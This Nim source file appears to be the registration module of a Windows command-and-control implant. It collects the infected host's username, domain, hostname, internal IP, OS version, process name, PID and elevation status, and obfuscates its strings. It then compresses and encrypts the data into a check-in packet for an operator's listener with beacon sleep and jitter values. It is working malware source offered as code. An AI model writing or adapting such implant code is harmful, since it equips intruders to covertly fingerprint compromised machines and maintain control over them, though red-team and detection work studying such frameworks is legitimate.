import winim, os, net, strutils, registry, zippy

import ../../common/[types, serialize, sequence, crypto, utils]
import ../../modules/manager

# Hostname/Computername
proc getHostname(): string = 
    var
        buffer = newWString(CNLEN + 1) 
        dwSize = DWORD buffer.len

    GetComputerNameW(&buffer, &dwSize)
    return $buffer[0 ..< int(dwSize)]

# Domain Name
proc getDomain(): string = 
    const ComputerNameDnsDomain = 2 # COMPUTER_NAME_FORMAT (https://learn.microsoft.com/en-us/windows/win32/api/sysinfoapi/ne-sysinfoapi-computer_name_format)
    var
        buffer = newWString(UNLEN + 1) 
        dwSize = DWORD buffer.len

    GetComputerNameExW(ComputerNameDnsDomain, &buffer, &dwSize)
    return $buffer[0 ..< int(dwSize)]

# Username
proc getUsername(): string = 
    const NameSamCompatible = 2 # EXTENDED_NAME_FORMAT (https://learn.microsoft.com/de-de/windows/win32/api/secext/ne-secext-extended_name_format) 
    
    var
        buffer = newWString(UNLEN + 1) 
        dwSize = DWORD buffer.len

    if getDomain() != "": 
        # If domain-joined, return username in format DOMAIN\USERNAME
        GetUserNameExW(NameSamCompatible, &buffer, &dwSize)
        return $buffer[0 ..< int(dwSize)]
    else: 
        # If not domain-joined, only return USERNAME
        discard GetUsernameW(&buffer, &dwSize)
        return $buffer[0 ..< int(dwSize) - 1]


# Current process name
proc getProcessExe(): string = 
    let 
        hProcess: HANDLE = GetCurrentProcess() 
        buffer = newWString(MAX_PATH + 1)

    try:
        if hProcess != 0: 
            if GetModuleFileNameExW(hProcess, 0, buffer, MAX_PATH): 
                # .extractFilename() from the 'os' module gets the name of the executable from the full process path
                # We replace trailing NULL bytes to prevent them from being sent as JSON data
                return ($buffer).extractFilename().replace("\u0000", "")
    finally: 
        CloseHandle(hProcess)

# Current process ID
proc getProcessId(): int = 
    return int(GetCurrentProcessId()) 

# Current process elevation/integrity level
proc isElevated(): bool = 
    # isAdmin() function from the 'os' module returns whether the process is executed with administrative privileges
    return isAdmin() 

# IPv4 Address (Internal)
proc getIPv4Address(): string = 
    # getPrimaryIPAddr from the 'net' module finds the local IP address, usually assigned to eth0 on LAN or wlan0 on WiFi, used to reach an external address. No traffic is sent
    return $getPrimaryIpAddr()

# Windows Version fingerprinting
type 
    ProductType = enum
        UNKNOWN = 0
        WORKSTATION = 1
        DC = 2
        SERVER = 3

# API Structs
type OSVersionInfoExW {.importc: protect("OSVERSIONINFOEXW"), header: protect("<windows.h>").} = object
    dwOSVersionInfoSize: ULONG
    dwMajorVersion: ULONG
    dwMinorVersion: ULONG
    dwBuildNumber: ULONG
    dwPlatformId: ULONG
    szCSDVersion: array[128, WCHAR]
    wServicePackMajor: USHORT
    wServicePackMinor: USHORT
    wSuiteMask: USHORT
    wProductType: UCHAR
    wReserved: UCHAR

proc getWindowsVersion(info: OSVersionInfoExW, productType: ProductType): string =
    let
        major = info.dwMajorVersion
        minor = info.dwMinorVersion
        build = info.dwBuildNumber
        spMajor = info.wServicePackMajor
    
    if major == 10 and minor == 0:
        if productType == WORKSTATION:
            if build >= 22000:
                return protect("Windows 11")
            else:
                return protect("Windows 10")

        else:
            case build:
                of 20348:
                    return protect("Windows Server 2022")
                of 17763:
                    return protect("Windows Server 2019")
                of 14393:
                    return protect("Windows Server 2016")
                else:
                    return protect("Windows Server 10.x (Build: ") & $build & protect(")")

    elif major == 6:
        case minor:
        of 3:
            if productType == WORKSTATION:
                return protect("Windows 8.1")
            else:
                return protect("Windows Server 2012 R2")
        of 2:
            if productType == WORKSTATION:
                return protect("Windows 8")
            else:
                return protect("Windows Server 2012")
        of 1:
            if productType == WORKSTATION:
                return protect("Windows 7")
            else:
                return protect("Windows Server 2008 R2") 
        of 0:
            if productType == WORKSTATION:
                return protect("Windows Vista")
            else:
                return protect("Windows Server 2008") 
        else: 
            discard

    elif major == 5:
        if minor == 2:
            if productType == WORKSTATION:
                return protect("Windows XP x64 Edition")
            else:
                return protect("Windows Server 2003")
        elif minor == 1:
            return protect("Windows XP")
    else: 
        discard 

    return protect("Unknown Windows Version") 

proc getProductType(): ProductType =
    # The product key is retrieved from the registry
    # HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ProductOptions
    #   ProductType    REG_SZ    WinNT
    # Possible values are: 
    #   LanmanNT -> Server/Domain Controller
    #   ServerNT -> Server
    #   WinNT    -> Workstation

    # Using the 'registry' module, we can get the exact registry value
    case getUnicodeValue(protect("""SYSTEM\CurrentControlSet\Control\ProductOptions"""), protect("ProductType"), HKEY_LOCAL_MACHINE)
    of protect("WinNT"):
        return WORKSTATION
    of protect("ServerNT"):
        return SERVER
    of protect("LanmanNT"): 
        return DC

proc getOSVersion(): string = 
    
    proc rtlGetVersion(lpVersionInformation: var OSVersionInfoExW): NTSTATUS
        {.cdecl, importc: protect("RtlGetVersion"), dynlib: protect("ntdll.dll").}

    when defined(windows):
        var osInfo: OSVersionInfoExW
        discard rtlGetVersion(osInfo)
        # echo $int(osInfo.dwMajorVersion)
        # echo $int(osInfo.dwMinorVersion)
        # echo $int(osInfo.dwBuildNumber)

        # RtlGetVersion does not actually set the Product Type, which is required to differentiate 
        # between workstation and server systems. The value is set to 0, which would lead to all systems being "unknown"
        # Normally, a value of 1 indicates a workstation os, while other values represent servers
        # echo $int(osInfo.wProductType).toHex

        # We instead retrieve the     
        return getWindowsVersion(osInfo, getProductType())
    else:
        return protect("Unknown")

proc collectAgentMetadata*(ctx: AgentCtx): Registration = 
    
    return Registration(
        header: Header(
            magic: MAGIC,
            version: VERSION, 
            packetType: cast[uint8](MSG_REGISTER),
            flags: cast[uint16](FLAG_ENCRYPTED),
            size: 0'u32,
            agentId: string.toUuid(ctx.agentId),
            seqNr: nextSequence(string.toUuid(ctx.agentId)),                              
            iv: generateBytes(Iv),
            gmac: default(AuthenticationTag)
        ), 
        agentPublicKey: ctx.agentPublicKey,
        metadata: AgentMetadata(
            listenerId: string.toUuid(ctx.listenerId),
            username: string.toBytes(getUsername()),
            hostname: string.toBytes(getHostname()),
            domain: string.toBytes(getDomain()),
            ip: string.toBytes(getIPv4Address()),
            os: string.toBytes(getOSVersion()),
            process: string.toBytes(getProcessExe()),
            pid: cast[uint32](getProcessId()),
            isElevated: cast[uint8](isElevated()),
            sleep: cast[uint32](ctx.sleepSettings.sleepDelay),
            jitter: cast[uint32](ctx.sleepSettings.jitter),
            modules: cast[uint32](MODULES)
        )
    )

proc serializeRegistrationData*(ctx: AgentCtx, data: var Registration): seq[byte] = 

    var packer = Packer.init()

    # Serialize registration data
    packer 
        .add(data.metadata.listenerId)
        .addDataWithLengthPrefix(data.metadata.username)
        .addDataWithLengthPrefix(data.metadata.hostname)
        .addDataWithLengthPrefix(data.metadata.domain)
        .addDataWithLengthPrefix(data.metadata.ip)
        .addDataWithLengthPrefix(data.metadata.os)
        .addDataWithLengthPrefix(data.metadata.process)
        .add(data.metadata.pid)
        .add(data.metadata.isElevated)
        .add(data.metadata.sleep)
        .add(data.metadata.jitter)
        .add(data.metadata.modules)

    let metadata = packer.pack()
    packer.reset()

    # Compress payload body
    let compressedPayload = compress(metadata, BestCompression, dfGzip)

    # Encrypt metadata
    let (encData, gmac) = encrypt(ctx.sessionKey, data.header.iv, compressedPayload, data.header.seqNr)

    # Set authentication tag (GMAC)
    data.header.gmac = gmac

    # Serialize header
    let header = packer.serializeHeader(data.header, uint32(encData.len))
    packer.reset()

    # Serialize the agent's public key to add it to the header
    packer.addData(data.agentPublicKey)
    let publicKey = packer.pack()

    return header & publicKey & encData
